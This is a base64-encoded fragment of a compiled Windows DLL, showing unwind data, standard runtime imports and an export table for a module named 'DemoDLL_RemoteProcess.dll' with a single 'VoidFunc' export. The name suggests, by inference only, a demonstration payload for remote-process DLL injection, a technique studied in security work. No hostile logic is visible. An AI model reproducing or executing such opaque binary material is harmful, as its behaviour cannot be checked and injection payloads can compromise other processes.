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8RFgYAFjQPAAhyBHADYAJQ7GgAAIieAQBQKQAA/////3YpAAAAAAAAhCoAAP////8RGQYAGWQLABQ0CQAGUgJw7GgAALCeAQD/////MFABAPAeAAD/////Vh8AAAAAAABqHwAA/////yEAAAAgOwAASTsAAKDCAQAhBQIABTQPACA7AABJOwAAoMIBAAEJAgAJsgJQIQAAAIA5AACgOQAA8MIBACEAAACgOQAAtDkAANzCAQAhBQIABVQHAKA5AAC0OQAA3MIBACEFAgAFdAgAgDkAAKA5AADwwgEAAQoEAAo0CQAKMgZgGQsDAAtCB1AGMAAA7GgAANieAQAZCgIACjIGUOxoAADYngEAGSEFABiCFMAScBFgEDAAAOxoAADYngEAAAAAAAAAAAADAAAAAQAAAHTDAQACAAAAAgAAAAMAAAABAAAAYMMBAEAAAAAAAAAAAAAAAEBPAQBIAAAAQAAAAAAAAAAAAAAAAE8BADgAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAADA0AAD/////njQAAAAAAAD4NAAA/////wBPAQAAAAAADU8BAAEAAAAVTwEAAgAAACxPAQAAAAAATk8BAAMAAAARJAkAJDQZABQBEgAI0AbABHADYAJQAADsaAAAAJ8BAIAvAAD/////zS8AAAAAAADzLwAAAQAAAPsvAAACAAAAAzAAAAMAAAALMAAABAAAABMwAAAFAAAAWTAAAAAAAACRMAAA/////5owAAAKAAAApDAAAAkAAAC2MAAACAAAAMgwAAAHAAAA2jAAAAYAAADsMAAA/////wEPBgAPZAgADzQHAA8yC3ARFgYAFjQPAAhyBHADYAJQ7GgAACifAQD/////8E4BACAxAAD/////RjEAAAAAAABUMgAA/////xEZBgAZZAsAFDQIAAZSAnDsaAAAUJ8BAHAmAAD/////lCYAAAAAAACfJgAA/////xk1CwAndBkAI2QYAB80FwATARIACNAGwARQAABgSAEAeJ8BAIoAAAD/////QFABAAAXAAD/////6BcAAAAAAAC5GQAA/////9AZAAAAAAAAGhoAAP////8uGgAAAAAAAEgaAAD/////GTQLACZkGwAiNBoAFgESAAvgCdAHwAVwBFAAAGBIAQCgnwEAigAAAIASAAD/////kRMAAAAAAAAWFQAA/////xgVAAAAAAAAMhUAAP////9QFQAAAAAAAGwVAAD/////GQoCAAoyBlDsaAAAyJ8BABkUBAAUNAgABlICcOxoAADInwEAAAAAAAAAAAABAAAAAQAAAPjFAQBAAAAAAAAAAAAAAABQUAEAOAAAAP////8AAAAA/////wAAAAAgLAAA/////zcsAAAAAAAAiiwAAP////9QUAEAAAAAABksCAAeZBQAGjQTAA7SB8AFcARQYEgBAPCfAQBqAAAA/////3BQAQBwIQAA//////YhAAAAAAAAXCMAAP////+RIwAAAAAAAKsjAAD/////ARQIABRkCQAUVAgAFDQHABQyEHABEggAElQKABI0CQASMg7ADHALYBETAgAKUgYw7GgAABigAQD/////gFABAAAAAACgUAEAkBEAAP////+9EQAAAAAAANMRAAABAAAAGRIAAAAAAAAiEgAA/////xETAgAKUgYw7GgAAECgAQD/////sFABAKAsAAD/////tiwAAAAAAADILAAA/////xkKAgAKMgZQ7GgAAGigAQAZHwgAHzQPABFyDeAL0AnAB3AGYOxoAABooAEAAgAAAAIAAAADAAAAAQAAAGzHAQBAAAAAAAAAAAAAAADgUAEAOAAAAP/////AUAEA/////9BQAQABAAAAAAAAAAEAAAAAAAAA/////zBRAQAQJwAA/////4YnAAAAAAAAticAAAEAAADEJwAAAgAAANQoAAABAAAADSkAAAQAAAAfKQAA/////+BQAQAAAAAA7VABAAMAAAAWUQEAAAAAAB9RAQADAAAAKVEBAAAAAAARGAQAGDQJAApSBnDsaAAAkKABAP////9AUQEAsB0AAP/////XHQAAAAAAAB0eAAD/////ARIFABI0KQASASYABlAAABEgBwAgdCwAHDQqAA8BKAAEUAAA7GgAALigAQD/////UFEBAAAAAAAAAAAAAAAAAJBRAQD/////oFEBABA9AAD/////Qz0AAAAAAACQPQAAAgAAALA9AAADAAAAWD4AAP////8AAAAAIOEBAAAAAAD/////AAAAABgAAADoQwAAAAAAAAAAAAAAAAAAAAAAAOBDAAAAAAAA+MgBAAAAAAAAAAAAAAAAAAAAAAADAAAAGMkBALDIAQAwygEAAAAAAAAAAAAAAAAAAAAAAAAAAA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5hdGVQcm9jZXNzAADGAUdldEN1cnJlbnRQcm9jZXNzAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAGARSdGxDYXB0dXJlQ29udGV4dAB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzADQFV3JpdGVGaWxlAKABR2V0Q29uc29sZUNQAACyAUdldENvbnNvbGVNb2RlAAB0BFNldEZpbGVQb2ludGVyAADDA1JlYWRGaWxlAABdAUZsdXNoRmlsZUJ1ZmZlcnMAAFIAQ2xvc2VIYW5kbGUA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAABYAUZsc0FsbG9jAAAZAkdldE1vZHVsZUZpbGVOYW1lQQAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDhAUdldEVudmlyb25tZW50U3RyaW5nc1cAAKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lABoCR2V0TW9kdWxlRmlsZU5hbWVXAAAMAkdldExvY2FsZUluZm9XAADcAkhlYXBTaXplAABuAUdldEFDUAAAPgJHZXRPRU1DUAAADANJc1ZhbGlkQ29kZVBhZ2UAowJHZXRVc2VyRGVmYXVsdExDSUQAAAoCR2V0TG9jYWxlSW5mb0EAABIBRW51bVN5c3RlbUxvY2FsZXNBAAAOA0lzVmFsaWRMb2NhbGUAcAJHZXRTdHJpbmdUeXBlVwAA2gJIZWFwUmVBbGxvYw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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAICBAYABAAAAaIEBgAEAAABIgQGAAQAAADiBAYABAAAAGIEBgAEAAAAAgQGAAQAAAOCAAYABAAAAyIABgAEAAACwgAGAAQAAAJiAAYABAAAAgIABgAEAAABYgAGAAQAAAECAAYABAAAAKIABgAEAAAAYgAGAAQAAAAiAAYABAAAA+H8BgAEAAADofwGAAQAAANh/AYABAAAAyH8BgAEAAAC4fwGAAQAAAKh/AYABAAAAkH8BgAEAAABwfwGAAQAAAFh/AYABAAAAMH8BgAEAAAAIgAGAAQAAACB/AYABAAAACH8BgAEAAAD4fgGAAQAAAOB+AYABAAAA0H4BgAEAAADAfgGAAQAAALB+AYABAAAAmH4BgAEAAAAIgAGAAQAAAHh+AYABAAAACIABgAEAAABgfgGAAQAAAEh+AYABAAAAKH4BgAEAAAAQfgGAAQAAAPh9AYABAAAACIABgAEAAAArAAAAAAAAAAAAAAAAAAAAQwAAAAAAAAAAAAAAAAAAAKCFAYABAAAAnIUBgAEAAACYhQGAAQAAAJSFAYABAAAAkIUBgAEAAACMhQGAAQAAAIiFAYABAAAAgIUBgAEAAAB4hQGAAQAAAHCFAYABAAAAYIUBgAEAAABQhQGAAQAAAESFAYABAAAAOIUBgAEAAAA0hQGAAQAAADCFAYABAAAALIUBgAEAAAAohQGAAQAAACSFAYABAAAAIIUBgAEAAAAchQGAAQAAABiFAYABAAAAFIUBgAEAAAAQhQGAAQAAAAyFAYABAAAACIUBgAEAAAAAhQGAAQAAAPCEAYABAAAA5IQBgAEAAADchAGAAQAAACSFAYABAAAA1IQBgAEAAADMhAGAAQAAAMSEAYABAAAAuIQBgAEAAACwhAGAAQAAAKCEAYABAAAAkIQBgAEAAACIhAGAAQAAAISEAYABAAAAeIQBgAEAAABghAGAAQAAAFCEAYABAAAACQQAAAEAAAAAAAAAAAAAAEiEAYABAAAAQIQBgAEAAAA4hAGAAQAAADCEAYABAAAAKIQBgAEAAAAghAGAAQAAABiEAYABAAAACIQBgAEAAAD4gwGAAQAAAOiDAYABAAAA0IMBgAEAAAC4gwGAAQAAAKiDAYABAAAAkIMBgAEAAACIgwGAAQAAAICDAYABAAAAeIMBgAEAAABwgwGAAQAAAGiDAYABAAAAYIMBgAEAAABYgwGAAQAAAFCDAYABAAAASIMBgAEAAABAgwGAAQAAADiDAYABAAAAMIMBgAEAAAAggwGAAQAAAAiDAYABAAAA+IIBgAEAAADoggGAAQAAAGiDAYABAAAA2IIBgAEAAADIggGAAQAAALiCAYABAAAAoIIBgAEAAACQggGAAQAAAHiCAYABAAAAYIIBgAEAAABUggGAAQAAAEyCAYABAAAAOIIBgAEAAAAQggGAAQAAAPiBAYABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ7AGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDsAYABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEOwBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ7AGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDsAYABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA8AGAAQAAAAAAAAAAAAAA